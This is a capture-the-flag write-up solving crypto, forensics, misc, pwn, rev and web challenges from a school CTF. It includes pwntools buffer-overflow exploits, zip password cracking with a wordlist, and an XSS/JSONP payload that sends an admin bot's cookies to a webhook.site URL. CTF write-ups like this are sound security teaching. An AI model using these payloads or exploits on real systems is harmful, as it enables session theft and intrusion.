# TJCSC Winter CTF Complete Writeup
### Challenges
- [crypto](#crypto)
- [hiffie-dellman](#hiffie-dellman)
- [slowpoke](#slowpoke)
- [forensics](#forensics)
- [akame](#akame)
- [normalize](#normalize)
- [misc](#misc)
- [my-secret](#my-secret)
- [trash-chall](#trash-chall)
- [halfway-there](#halfway-there)
- [pwn](#pwn)
- [compilation](#compilation)
- [idle-game](#idle-game)
- [rev](#rev)
- [shazam](#SHAzam)
- [sherlock](#sherlock)
- [web](#web)
- [treasure-hunt](#treasure-hunt)
- [find-me](#find-me)
# crypto
## hiffie-dellman
### Challenge Information
**Author:** ashwathg
**Category:** crypto
**Description:**
> i was testing out my hiffie-dellman and i forgot to print the output... good thing i printed stuff in the middle
### Solution
From the name of this challenge, we can figure out that it involves [diffie-hellman key exchange](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange).
In this challenge, we are given a plaintext file named `debug.txt`. In this file we can see values of $g^A$, $g^B$, and $g^C$.
> g^a (mod p) = 2283117739920797385
g^b (mod p) = 10369031937039850032
g^c (mod p) = 14603972755183921868
From `encode.py`, we can see the values of $g$ and $p$:
```python=
import sys
import sympy
from Crypto.Util import number
sys.stdout = open("debug.txt", "w")
g = 5
p = 16339038603115418459
a = number.getPrime(19)
b = 2*sympy.nextprime(a)
c = 3*sympy.nextprime(b)
print(f"g^a (mod p) = {pow(g,a,p)}")
print(f"g^b (mod p) = {pow(g,b,p)}")
print(f"g^c (mod p) = {pow(g,c,p)}")
flag = "winterctf{"+str(pow(g,a*b*c,p))+"}"
#print(flag)
```
We can also see how the flag was created. However, to find the flag, we must find $a$, which leads us to find *b* and *c*. This is a classic [discrete log problem](https://math.mit.edu/classes/18.783/2022/LectureNotes9.pdf), which can easily be solved using [SageMath](https://www.sagemath.org/). Once we have found *a*, we can follow the steps of the script to derive $b$ and $c$ and calculate the flag.

**Flag:** *winterctf{6566588951423771785}*
## slowpoke
### Challenge Information
**Author:** nathan
**Category:** crypto
**Description:**
> my computer seems a bit slow sometimes... weird...
> `nc challenge.tjcsec.club #####`
### Solution
#### Finding an Exploit
For this challenge, all we were given was a netcat server and a file, `main.py`
```python=
def main():
e, n, d = generate_key(KEY_SIZE)
flag = pow(bytes_to_long(open("flag.txt", "rb").read()), e, n)
send(f'{n = }')
send(f'{flag = }')
while True:
#if running locally on windows use input() instead
inp = input_with_timeout("Send a message to be decrypted: ")
send("message received")
m = decrypt(int(inp), d, n)
send("message decrypted")
if __name__ == "__main__":
main()
```
Looking at this file, we can see that the server is an [RSA](https://web.archive.org/web/20230127011251/http://people.csail.mit.edu/rivest/Rsapaper.pdf) oracle. When we connect to the server, the private keys are generated, and we are given $N$ (the modulus) and the ciphertext of the flag. In order to decrypt this, we need to figure out $d$, which is the private key used for decryption.
```python=
def decrypt(c, d, n):
s = 1
result = 1
dbin = bin(d)[2:]
for i, bit in enumerate(dbin):
if bit == '1':
if c == i: time.sleep(DELAY)
result = (s * c) % n
else:
result = s
s = (result ** 2) % n
return result
```
We when we connect to the server, it allows us to enter a number and subsequently decrypts our input. Interestingly, we are not given the decrypted message. However, we are given messages of *message received* and *message decrypted* before and after the decrypt function is called. Note that every line printed by the server is accompanied with a timestamp. This will be useful later.
```python=
def send(message):
print(f'[{datetime.now()}]: {message}')
```
Now, we can look at the `decrypt` function to see if there is anything we can exploit to leak $d$. We notice that $d$ is converted to a binary string, which is iterated through. We can see that the decrypted message is changed differently depending on each bit value, but this is not relevant as we cannot see the result of the decryption process.
One line that is of note is:
```python
if c == i: time.sleep(DELAY)
```
This line reveals that if
- the current bit of $d$ is $1$
- **AND** the entered ciphertext matches the index of the current bit
then the program sleeps for `DELAY`, which in this case is $0.1$ seconds. That means that when we enter a number such that the corresponding bit of $d$ is $1$, the decryption will take longer to run. Exploiting this can will make it easy to recover $d$ and decrypt the flag.
#### Implementing the Solution
I started by writing a function that takes the received bytes from [pwntools]() and parses them, separating the timestamp and the message.
```python=
def parse(response):
response = response.decode('utf-8')
dt, message = response.split("]")
dt = datetime.strptime(dt[1:], "%Y-%m-%d %H:%M:%S.%f")
message = message[2:]
return dt, message
```
Then, I wrote two more functions, one to convert integers to bytes that are ready to send, and another to convert bits into ASCII.
```python=
def format_ct(ct):
ct = str(ct)
ct = bytes(ct, 'utf-8')
return ct
def bits2a(b):
return ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8))
```
Next, I wrote a function that recovers $d$, using the process outlined earlier. It sends 1024 (max number of bits for `d`) different ciphertexts to the server. (ranging from $0$ to $1023$) When the decryption takes longer than the `DELAY`, it appends a $1$ to the bits of $d$. Otherwise, it appends a $0$.
```python=
def recover_d(c: remote):
d_bits = ""
for i in range(1024):
message = format_ct(i)
c.recvuntil(b"Send a message to be decrypted: ")
c.sendline(message)
time1, _ = parse(c.recvline())
time2, _ = parse(c.recvline())
interval = time2-time1
if interval.total_seconds()>0.1:
d_bits+="1"
else:
d_bits+="0"
return d
```
Now that we have recovered $d$, we have all the information needed to decrypt the flag. However, you may have noticed that 1024 is the maximum number of bits, meaning $d$ could be smaller number.
To fix this issue, I wrote one more function that tries to decrypt the flag with the current value of $d$, removing 1 bit each time, and stopping when it gets the flag.
```python=
def get_flag(flag, d_bits, n):
while len(d_bits)>1000:
print(len(d_bits))
d = int(d_bits, 2)
f = pow(flag, d, n)
f = l2b(f)
if (b"winter" in f):
return f.decode('utf-8')
d_bits = d_bits[:-1]
```
We can put all of this together and in the end we obtain the flag.
```python=
def solve():
conn = remote("challenge.tjcsec.club", #####)
_, n_message = parse(conn.recvline())
n = int(n_message.split("=")[1])
_, flag_message = parse(conn.recvline())
flag = int(flag_message.split("=")[1])
d = recover_d(conn)
flag = get_flag(flag, d, n)
print(flag)
if __name__ == "__main__":
solve()
```

Note: Due to an issue with the challenge server, this script only works ***sometimes***, so you may need to run it multiple times. Additionally, because of all the delays, the solve script takes a while to run, as shown in the screenshot.
**Flag:** *winterctf{should_have_been_faster}*
# forensics
## akame
### Challenge Information
**Author:** brian
**Category:** forensics
**Description:**
> imperial arms: steganography
### Solution
In this challenge, we are given an image, 'akame_encoded.png' and the script that was used to encode the image:

```python=
from PIL import Image
img = Image.open("akame.png").convert("RGB")
pixels = img.load()
flag = open('flag.txt', 'r').read().strip()
flag = list(map(int, ''.join([bin(ord(c))[2:].zfill(8) for c in flag])))
flag += [0] * (img.size[0] * img.size[1] * 3 - len(flag))
flag_i = 0
for i in range(img.size[0]):
for j in range(img.size[1]):
r, g, b = pixels[i, j]
r = (r & ~1) | flag[flag_i]
g = (g & ~1) | flag[flag_i + 1]
b = (b & ~1) | flag[flag_i + 2]
pixels[i, j] = (r, g, b)
flag_i += 3
img.save("akame_encoded.png")
```
We can see that the flag is converted into binary. Then, the rgb of the original image is read in. The code iterates thorugh each pixel in the image and get the rgb values of each pixel. Each of these values goes through an AND operation with '~1' and an OR operation with the next bit in the flag.

These bitwise operations change the least significant bit of the RGB value to the bit of the flag. We can recover the flag by reading each pixels RGB values and extracting the LSB. Then, we can convert the binary back into ascii to get the flag.
```python=
from PIL import Image
img = Image.open("akame_encoded.png").convert("RGB")
pixels = img.load()
flag = []
flag_i = 0
for i in range(img.size[0]):
for j in range(img.size[1]):
r, g, b = pixels[i, j]
flag.append(r & 1) #extracts least significant bit
flag.append(g & 1)
flag.append(b & 1)
flag_str = ""
for i in flag:
flag_str += str(i)
def bits2a(b): #converts bits to ascii
return ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8))
print(bits2a(flag_str))
```
**Flag**: *winterctf{akame_ga_kill}*
## normalize
### Challenge Information
**Author:** addison
**Category:** forensics
**Description:**
>I wanted to listen to my flag and now I can :)
>hint: what are the max values a 32 bit audio sample can have
### Solution
In this challenge, we are provided a wav file called ```enc.wav```, that is 0 seconds long. Opening the file in Audacity crashes the program. However, if we go to an audio normalizer and put the file through there, we can open it in Audacity and see something.

We can see a very short spike in audio, but when played, regardless of volume, nothing is audible. We will try to slow it down to see if something else shows up.

It's clear there are just a few spikes in audio, all pointing upwards, meaning we need to try and get each of these "frames", as they likely represent characters of the flag (given the description "i can hear my flag"). We can use python and numpy to get the value stored in each of these little "spikes".
```python=
import wave
import numpy as np
with wave.open("enc.wav", "rb") as wav_file:
frames = wav_file.readframes(wav_file.getnframes())
audio_samples = np.frombuffer(frames, dtype=np.int32)
print([int(i) for i in audio_samples])
```
What we've done here, is open the wav file using python, and use the ```.readframes()``` and ```.getnframes()``` methods to access the value at each frame (the visible spike in Audacity) in the audio file. Our list looks like this:
```python
frames = [31194, 27524, 28834, 30407, 26475, 29883, 25951,
30407, 26737, 32242, 31194, 13368, 24902, 27000,
12582, 30407, 24902, 13106, 24902, 20446, 12582,
29883, 28572, 25427, 28310, 12844, 31980, 26475,
24902, 25951, 27262, 13631, 28834, 26475, 19135,
12844, 28834, 27000, 24902, 25689, 25951, 30145,
24902, 12844, 24902, 28310, 30669, 30932, 24902,
28834, 13368, 29097, 22281, 28834, 14941, 32767]
```
However, these values are the values of the original wav file, which we need to normalize. Using the following method, we change our values to be from the range of min to max 32-bit values, to -1.0 to 1.0.
```python=
def normalize_audio(audio_values):
max_val = max(abs(min(audio_values)), max(audio_values))
if max_val == 0:
return audio_values
return [x / max_val for x in audio_values]
```
Upon running the following method, we will get a list of each spike, normalized to be between -1.0 to 1.0, but since there are no negative values, it's really just from 0 to 1.0. Our new list looks like this:
```python
normalized_frames = [0.9519943845942564, 0.8399914548173467,
0.879970702230903, 0.9279763176366467,
0.8079775383770257, 0.911984618671224,
0.7919858394116032, 0.9279763176366467,
0.8159733878597369, 0.9839777825251015,
0.9519943845942564, 0.4079714346751305,
0.7599719229712821, 0.8239997558519242,
0.3839838862269967,0.9279763176366467,
0.7599719229712821, 0.3999755851924192,
0.7599719229712821, 0.6239814447462386,
0.3839838862269967,0.911984618671224,
0.8719748527481918, 0.7759941404461806,
0.8639790032654805, 0.39197973570970795,
0.9759819330423902,0.8079775383770257,
0.7599719229712821, 0.7919858394116032,
0.8319956053346355, 0.41599780266731773,
0.879970702230903, 0.8079775383770257,
0.5839716788232062, 0.39197973570970795,
0.879970702230903, 0.8239997558519242,
0.7599719229712821, 0.7839899899288919,
0.7919858394116032, 0.9199804681539354,
0.7599719229712821, 0.39197973570970795,
0.7599719229712821, 0.8639790032654805,
0.9359721671193579, 0.9439985351115452,
0.7599719229712821, 0.879970702230903,
0.4079714346751305, 0.8879970702230903,
0.6799829096346934, 0.879970702230903,
0.455977050080874, 1.0]
```
Now, we notice that the final value is 1.0. If we multiply each value of the list by 125, the last value will be 125, the ASCII value for "}", which is what the flag ends with. For the other values, we will need to round them to the nearest integer, but upon doing so, our list looks like this:
```python
ascii_values = [119, 105, 110, 116, 101, 114, 99, 116, 102,
123, 119, 51, 95, 103, 48, 116, 95, 50, 95,
78, 48, 114, 109, 97, 108, 49, 122, 101, 95,
99, 104, 52, 110, 101, 73, 49, 110, 103, 95,
98, 99, 115, 95, 49, 95, 108, 117, 118, 95,
110, 51, 111, 85, 110, 57, 125]
```
When we convert these ASCII numbers to letters, we get the flag:
**Flag:** *winterctf{w3_g0t_2_N0rmal1ze_ch4neI1ng_bcs_1_luv_n3oUn9}*
# misc
## my-secret
### Challenge Information
**Author:** brian
**Category:** misc
**Description:**
> only authorized individuals can see the flag.
### Solution
We are provided with a password protected zip file and our goal is to crack the password and get the flaf inside. We will use [fcrackzip](https://github.com/hyc/fcrackzip) to get the password for the zip.
We will use the following command:
```
fcrackzip -b -D -p rockyou.txt -u ./mysecret.zip
```
- ```-b```: Indicates that the tool should perform a brute-force attack
- ```-D```: Specifies that a dictionary attack will be performed. Instead of trying all possible character combinations (brute force), fcrackzip will test passwords from a wordlist file.
- ```-p rockyou.txt```: The -p flag specifies the password source. Here, the [rockyou.txt](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt) file is used, which is a well-known dictionary containing millions of potential passwords.
- ```-u```: Stands for "test the extracted file." This ensures that once a password is found, the tool checks if it successfully decrypts the ZIP file's contents.
Running the command gives us the following output:
```
PASSWORD FOUND!!!!: pw == 321garfieldyom
```
Now that we've found the password, we can run the command ```unzip mysecret.zip```, this creates the folder ```mysecret``` with ```flag.txt``` inside, and now wan can run ```cat mysecret/flag.txt```.
**Flag**: *winterctf{garfield_lasagna_monday}*
## trash-chall
### Challenge Information
**Author:** addison
**Category:** misc
**Description:**
> find my trash disposal companies main phone number
> flag format: winterctf{phone-number}
### Solution
We are provided with an image of a trash can and are asked to find the trash disposal company.

The text on the trash can is not a part of the challenge, but the company name is Rehrig Pacific Company.

However, we can look at the exifdata of the image to see where it was taken.
Running the following command:
```
exiftool trash.jpg
```
We can look through the metadata tags for the image, we can see that the exifdata contains the ```latitude``` and ```longitude``` values for where the image was taken.
```
GPS Latitude: 38 deg 49' 16.37" N
GPS Longitude: 77 deg 15' 19.47" W
```
We can convert these values to coodinates and put them into [Google Maps](https://www.google.com/maps/place/38%C2%B049'16.4%22N+77%C2%B015'19.5%22W/@38.8212209,-77.2579879,17z/data=!3m1!4b1!4m4!3m3!8m2!3d38.8212167!4d-77.255413?entry=ttu&g_ep=EgoyMDI0MTIxMS4wIKXMDSoASAFQAw%3D%3D). Doing this gives us the address of a house in `Annandale`. Searching online, we can see that this house is located in Fairfax County. Doing a bit of research online, we can find a [list](https://www.fairfaxcounty.gov/publicworks/recycling-trash/registered-solid-waste-collection-companies) of all the registered trash companies in Fairfax County.
Now we can go through the list of all the phone numbers listed under the residential section.

However, when we do this, we can see that none of the phone numbers in the list actually work. If we go back to challenge description it tells us to find the trash disposal company's **main** phone number.
What we have to do is search up the names of all these companies on google and find their **main** phone number.
After going down about halfway through the list, we find that the company is ```Evergreen Disposal Service```.
**Flag**: *winterctf{240-468-6677}*
## halfway-there
### Challenge Information
**Author:** *elliott&tux*
**Category:** misc
**Description:**
> We're almost halfway through the year! How well have you been learning?
Connect at `nc challenge.tjcsec.club #####`
### Solution
When we connect to the netcat, we can see that it asks us if we have a save or not, since we haven't answered any questions yet, we can type `n`.

After this, we can see that the first question is:
> Who is the mascot of Linux
> The answer is **TUX**

To answer the questions, we have to type `up`, `down`, `left`, or `right`, depending on where the next letter is. For example, in the image above, we would type `left`, `up`, and `up`. After we are done spelling out the word, we can type submit and press enter to move onto the next question.
*Note: One very useful tip is to press enter after finishing a question to get a save code so that if you get a question wrong you can go back to the previous one without restarting.*
Here are all the answers:
> What is the command to change directories in linux?
> The answer is **CD**
> With bash, '*', '?', and '[]' are all...
> The answer is **WILDCARDS**
> The http request that allows you to send information to a server is...
> The answer is **POST**
> What is the file sig for android apps?
> The answer is **APK**
> What command let's you set the value of a register in assembly?
> The answer is **MOV**
> Hiding a file or message by changing the least significant bits of another file is called...
> The answer is **STEGANOGRAPHY**
> What is another name for base 8?
> The answer is **OCTAL**
> What does '^' mean?
> The answer is **XOR**
> What register holds the location of the top of the stack?
> The answer is **RSP**
> The amount of space set aside to hold a variable and can be overflowed if you use the gets() function is...
> The answer is **BUFFER**
> The mechanism used with blockchain to add more security is called... (no spaces)
> The answer is **PROOFOFWORK**
> Short for Cross-site scripting is...
> The answer is **XSS**
> What is the starting html tag to add javascript? (No '<' or '>')
> The answer is **SCRIPT**
> What is the name of the site containing pre-done factors of many large integers?
> The answer is **FACTORDB**
> Which RSA attack requires knowledge of the target's hardware to learn some of the key? (Just the first word)
> The answer is **TIMING**
> What is the sagemath function to get the log of a number under modulo? (No '_' or '()')
> The answer is **DISCRETELOG**
> Who is the coolest character
> The answer is **ANY ANSWER WORKS**
**Flag**: *winterctf{y0u_hav3_com3_qu1t3_far}*
# pwn
## compilation
### Challenge Information
**Author:** nathan
**Category:** pwn
**Description:**
>This program compiles your c code,
> but it doesn't execute it so it should be safe
`nc challenge.tjcsec.club #####` (flag is in /app/flag.txt)
### Solution
Opening the chall.c file yields a rather large piece of C code but for this challenge we only need to look at these two functions:
```clike=
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
void read_input(char *buffer) {
int i = 0;
buffer[i] = fgetc(stdin);
i++;
buffer[i] = fgetc(stdin);
while (true) {
char c = fgetc(stdin);
if (c == '\n' && buffer[i - 1] == '\n' && buffer[i] == '\n') {
break;
}
i++;
buffer[i] = c;
}
i++;
buffer[i] = '\0';
}
int main(int argc, char **argv) {
char program[2048];
char commands[2048] = "gcc -o out tmp.c";
setbuf(stdout, NULL);
puts("Enter your code (hit enter 3 times to move on to compiling): ");
read_input(program);
write_program(program);
if (system(commands) == 0) {
read_binary("./out");
return 0;
}
return 1;
}
```
The vulnerability seems very obvious. The `commands` array is initialized after the `program` array, meaning that if you overflow the `program` array, you can write to the `commmands` array and get access to the servers shell. We can exploit the vunlerable [gets](https://en.cppreference.com/w/c/io/gets) function.
The following code will automate overflowing the `program` array:
```python=
from pwn import *
command = b"ls"
conn = remote("challenge.tjcsec.club",#####)
conn.sendline(b"A"*2048 + command)
conn.sendline(b"\n"*3)
print(conn.clean(1))
```
This gives us the output `\nflag.txt\nout\nrun\ntmp.c'`.
This is obviously the list of files in this directory and if we run `cat flag.txt` instead of `ls` we will get the flag.
**Flag**: *winterctf{oopsies_it_got_executed}*
## idle-game
### Challenge Information
**Author:** elliot&tux
**Category:** pwn
**Description:**
>Cookie yummy. Gets lots of cookie, get lots of yummy.
`nc challenge.tjcsec.club #####`
### Solution
When you open the idle-game you get something like this:

Just opening the game doesn't give us an idea of how to get the flag so we open [Ghidra](https://ghidra-sre.org/) to look at the game function.

Again, even looking at this function doesn't give us an idea on how to solve this challenge even though we see a vulnerability in `gets(local38)`. It isn't until we find the secret `win()` function that we can start formulating a plan.

But how do you get to the win function if it's never mentioned in the code?
Lets try to see what we can access with the buffer overflow we discussed in the `game` function.
If you open gdb and look at the stack frame (`rsp` being the bottom of the stack and `rbp` being the top) you see an address that points back to the main function
```
pwndbg> break game
pwndbg> run
pwndbg> ni 5
sigma
0x401278 <game+24> call gets@plt <gets@plt>
► 0x40127d <game+29> mov dword ptr [rbp - 4], 1 [0x7fffffffda8c] <= 1
```
We've moved to after the gets call and put in the input `sigma` as a test. If we check the stack here we get an interesting view!
```
pwndbg> stack
00:0000│ rax rsp 0x7fffffffda60 ◂— 0x616d676973 /* 'sigma' */
01:0008│-028 0x7fffffffda68 —▸ 0x7ffff7e2ce37 (setbuffer+199) ◂— test byte ptr [rbx + 1], 0x80
02:0010│-020 0x7fffffffda70 —▸ 0x7fffffffdbb8 —▸ 0x7fffffffdee8 ◂— '/home/##########/Downloads/game'
03:0018│-018 0x7fffffffda78 —▸ 0x7fffffffdaa0 ◂— 1
04:0020│-010 0x7fffffffda80 —▸ 0x7fffffffdbb8 —▸ 0x7fffffffdee8 ◂— '/home/##########/Downloads/game'
05:0028│-008 0x7fffffffda88 —▸ 0x7ffff7ffe2e0 ◂— 0
06:0030│ rbp 0x7fffffffda90 —▸ 0x7fffffffdaa0 ◂— 1
07:0038│+008 0x7fffffffda98 —▸ 0x40131d (main+73) ◂— mov eax, 0
```
If we look all the way at the bottom of the stack `rbp+8` we see a pointer to `main`! This is specifically the instruction after the call of `game` which means that this is the return pointer! Since we have control over the bottom of the stack we can overwrite the return pointer.
What we have to do is send enough characters to get to rbp+008 which turns out to be 56! (0x30+0x8=0x38, 0x38=56 decimal)
The location of the win function is 0x4011d6 so the correct code is
```python=
from pwn import *
conn = remote("challenge.tjcsec.club",#####)
print(conn.recvline())
conn.sendline(b"A"*56+p64(0x4011d6))
conn.sendline(b"q")
print(conn.clean(1))
```
**Flag:** *winterctf{cl1ck_th0s3_c00k135}*
# rev
## SHAzam
### Challenge Information
**Author:** max
**Category:** rev
**Description:**
> All warfare is based on deception.
> Hence, when we are able to attack,
> we must seem unable; when using our
> forces, we must appear inactive.
### Solution
Running the file for the first time prompts you to enter a password and tells you if it was correct or incorrect.

Opening the file in [Ghidra](https://ghidra-sre.org/) we can see that the executable was compiled with Go so we can expect to see functions from the Go standard library.
Going to `main.main`, we find a suspicious function

Opening `main.checkPassword` gives us information on how to reverse the password.


This function just takes the reverse input, encrypts it using SHA256 (hence the title SHAzam) and compares it to `DAT_004bba45`.
To get the correct password, we need to bruteforce the SHA256 encryption and reverse the output.
`DAT_004bba45` is `5d72436256ada53828b51895a94bb8489e9f1ac4fe937a8024ef1594e7045ff6` which decodes to `gemini`.

The reverse of `gemini` is `inimeg` which gives us the flag.

**Flag**: *winterctf{92c58cd8d3bb23f2}*
## sherlock
### Challenge Information
**Author:** max
**Category:** rev
**Description:**
>He who only sees the obvious,
>wins his battles with difficulty;
> he who looks below the surface of things,
> wins with ease.
When opening the executable we see the following information:

Opening it a second time yields different addresses:

This signals to us that the address is stored dynamically and not statically.
Looking at the `main.main` function, we find the print statement that prints out the addresses.

I set a breakpoint there seeing as the addresses are probably stored by then.
When we get to that point in the process I use the windows debugger syntax (since I am using the windows version of sherlock) to get the pieces of the flag.
Now when we get the information at those addresses we get the flag!


Unfortunately the first part of the flag doesn't work.
**Flag:** *winterctf{days_b4_III}*
# web
## treasure-hunt
### Challenge Information
**Author:** graceb
**Category:** web
**Description:**
> my flag was stolen by santa's elves :( can you help me gather the pieces?
> [treasure-hunt.challenge.tjcsec.club](https://treasure-hunt.challenge.tjcsec.club)
### Solution
Opening the page source for the [site](https://treasure-hunt.challenge.tjcsec.club/), we can see the first part of the flag in the html code.
```html=
<!DOCTYPE html>
<html lang="en">
<head>
<link rel="stylesheet" href="/static/styles.css">
<title>treasure-hunt</title>
</head>
<body>
<h1>santa's elves stole my flag! help</h1>
<!--
flag part 1/6: winterctf{yippee
i think the elves took the next part of the flag to a stylish place
-->
</body>
</html>
```
Next, we go to the [CSS file](https://treasure-hunt.challenge.tjcsec.club/static/styles.css) and we can see that the second part of the flag is insde a CSS comment
```css=
body {
background-color: black;
}
h1 {
color: darkgreen;
font-family: 'Courier New', Courier, monospace;
text-align: center;
}
/*
wow you found the second part!
flag part 2/6: _y14pp313e
i saw the next part of the flag somewhere dark... i thought i heard beeping and whirring there
*/
```
Looking at the hint that was given in the CSS stylesheet, the ```beeping and whirring``` hints towards the [robots.txt](https://treasure-hunt.challenge.tjcsec.club/static/robots.txt) file. Here we can see the next part of the flag.
```=
User-agent: *
Allow: /
# congrats!
# flag part 3/6: _YiPpe3e32e
# the next part of the flag was stolen by the contributors of the webpage. i think the location starts with humans?
```
The next hint that we get is that the flag was stolen by the ```contributors``` of the webpage. We know that the contributors of webpages are listed in the [humans.txt](https://treasure-hunt.challenge.tjcsec.club/static/humans.txt) file. In this file, we find the next part of the flag.
```=
credits for this webpage go to Santa Claus© and his minions
# yippee!
# flag part 4/6: _ip4pp3e9
# this was left as a hint... idk what it means though
# c2VjcmV0L3N1cGVyc2VjcmV0
```
In the humans.txt file we are provided with a string which is encoded with ```base64```. We can decode this string using an [online tool](https://www.base64decode.org/) and we get the plaintext ```secret/supersecret```. We can see that this string is a subdirectory of a url. When we go to the [url](https://treasure-hunt.challenge.tjcsec.club/secret/supersecret), we do not immediately see anything, however, when we look at the page source, we can see the next part of the flag.
```html=
<!DOCTYPE html>
<html lang="en">
<head>
<title>supersecret</title>
<style>
body {
background-color: black;
}
h1 {
color: crimson;
font-family: 'Courier New', Courier, monospace;
text-align: center;
}
</style>
</head>
<body>
<h1>almost there!</h1>
<!--
flag part 5/6: _y18pp432ee
c2VjcmV0L3N1cGVyc2VjcmV0L3N1cGVyc3VwZXJzZWNyZXQ=
-->
</body>
</html>
```
Here we can see another string that is encoded with ```base64```. Using the same strategy as above, we get the subdirectory ```secret/supersecret/supersupersecret```. Travelling to this page gives us the last part of the flag.

**Flag**: *winterctf{yippee_y14pp313e_YiPpe3e32e_ip4pp3e9_y18pp432ee_yiip2p3e}*
## find-me
### Challenge Information
**Author:** graceb
**Category:** web
**Description:**
> google and diana's jsonp notes from last year are your friends
> [find-me.challenge.tjcsec.club](https://find-me.challenge.tjcsec.club/)
> [admin bot](https://admin-bot.tjcsec.club/find-me)
### Solution
From the presence of an admin bot and the description, we can deduce that this is a [XSS](https://owasp.org/www-community/attacks/xss/) challenge that uses [JSONP endpoints](https://en.wikipedia.org/wiki/JSONP). The site allows us to enter an IP, and it returns data from an API request.

The source code of the site shows that it gets the data from 'https://ip-api.com'. We can also see that if the data returned is not a json, the request returns the raw text.
```python=
from flask import Flask, request, render_template
from requests import get
app = Flask(__name__)
app.static_folder = 'static'
@app.route('/')
def index():
query = request.args.get('query')
return render_template('index.html', query=(query or ''))
@app.route('/jmake')
def search():
query = request.args.get('query')
j1=get(f'http://ip-api.com/json/{query}')
try:
j2 = j1.json()
return j2
except ValueError:
return j1.text
@app.route('/static/<path:path>')
def static_file(filename):
return app.send_static_file(filename)
if __name__ == '__main__':
app.run(debug=True)
```
Looking at `index.html`, we can see that the query is put directly into the raw html, with no sanitation. This means we can easily inject code into the website.
```html=
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>find-me</title>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; connect-src *; style-src 'self';">
<link rel="stylesheet" href="/static/styles.css">
<script src="/static/script.js"></script>
</head>
<body>
<h1>IP Address Locator</h1>
<input type="text" name="q" id="input" placeholder="8.8.8.8">
<button id="searchButton">Locate</button>
<h3 id="result">{{ query | safe }}</h3>
</body>
</html>
```
However, if we look at [Content-Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP), we can see that the [default-src](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/default-src) is set to 'self'. This means that we can only run scripts that are from 'self', or the same origin as the website. Therefore, we must find or create a script somewhere on this website.
Fortunately, when we examine the javascript on the website, we can see two functions, `CallMe1` and `CallMe2` that both look similar to XSS scripts. In this case, `CallMe2` is more useful as we can control the query, but not the status.
```javascript=
window.onload = () => {
const resultBox = document.getElementById('result');
document.getElementById('searchButton').addEventListener('click', function () {
const value = document.getElementById('input').value;
fetch('/jmake?query=' + value)
.then(res => {
return res.json();
})
.then(data => {
let resultHTML = `<br>`;
resultHTML += `status: ${data["status"]}!<br>`;
for (let key in data) {
if (data.hasOwnProperty(key)) {
if(key!=`status`){
resultHTML += `${key}: ${data[key]}<br>`;
}
}
}
resultBox.innerHTML = resultHTML;
});
});
};
/*options*/
function callMe1(data) {
const url = data["status"];
document.location = url + '?c=' + document.cookie;
}
function callMe2(data) {
const url = data["query"];
document.location = url + '?c=' + document.cookie;
}
```
If we can call this function on a json with a `query` of our custom webhook url, the admin bot will go to our webhook and reveal the flag.
First, we must make the JSONP endpoint that contains the code we want to run. We know that we must send a query consisting of our webhook, but we do not know how to wrap this in `CallMe2()`.
If we read the [docs](https://ip-api.com/docs/api:json) of the API that the website uses, we see that you can request a callback function:
> Callback (JSONP)
By default there is no callback function called, but you can supply your own with the GET parameter callback
> Example: http://ip-api.com/json/{query}?callback={callback}
Therefore, if we send a query with our webhook and request a callback of *CallMe2*, it should return a failure JSON, containing our query, but more importantly wrapped in `CallMe2()`.
We send the following request:
> https://find-me.challenge.tjcsec.club/jmake?query=https://webhook.site/e99ea206-3152-4e28-bdf5-da66ec4618bb&callback=callMe2
and get this response displayed:
> CallMe2({"status":"fail","message":"invalid query","query":"https:/webhook.site/e99ea206-3152-4e28-bdf5-da66ec4618bb"});
Now, we have a JSONP endpoint that we have to call using the vulnerable html code we saw earlier. We can edit what goes in the html by changing the url's `query` parameter.
To run the code, we must put it in script tags with our JSONP endpoint as the script to run. Additionally, our payload must be url-encoded because we are putting it directly into the html.
The payload we want to [encode](https://www.urlencoder.org/) is:
> <script src="/jmake?query=https://webhook.site/e99ea206-3152-4e28-bdf5-da66ec4618bb?callback=callMe2"></script>
Note the closing script tag. Without this, the script will not execute properly. (as we learned)
The encoded payload is:
> %3Cscript%20src%3D%22%2Fjmake%3Fquery%3Dhttps%3A%2F%2Fwebhook.site%2Fe99ea206-3152-4e28-bdf5-da66ec4618bb%3Fcallback%3DcallMe2%22%3E%3C%2Fscript%3E
The final url is "https://find-me.challenge.tjcsec.club/?query=%3Cscript%20src%3D%22%2Fjmake%3Fquery%3Dhttps%3A%2F%2Fwebhook.site%2Fe99ea206-3152-4e28-bdf5-da66ec4618bb%3Fcallback%3DcallMe2%22%3E%3C%2Fscript%3E"
We submit this to the admin bot and get our flag.

**Flag:** *winterctf{c0ngr4ts_344s18o97a}*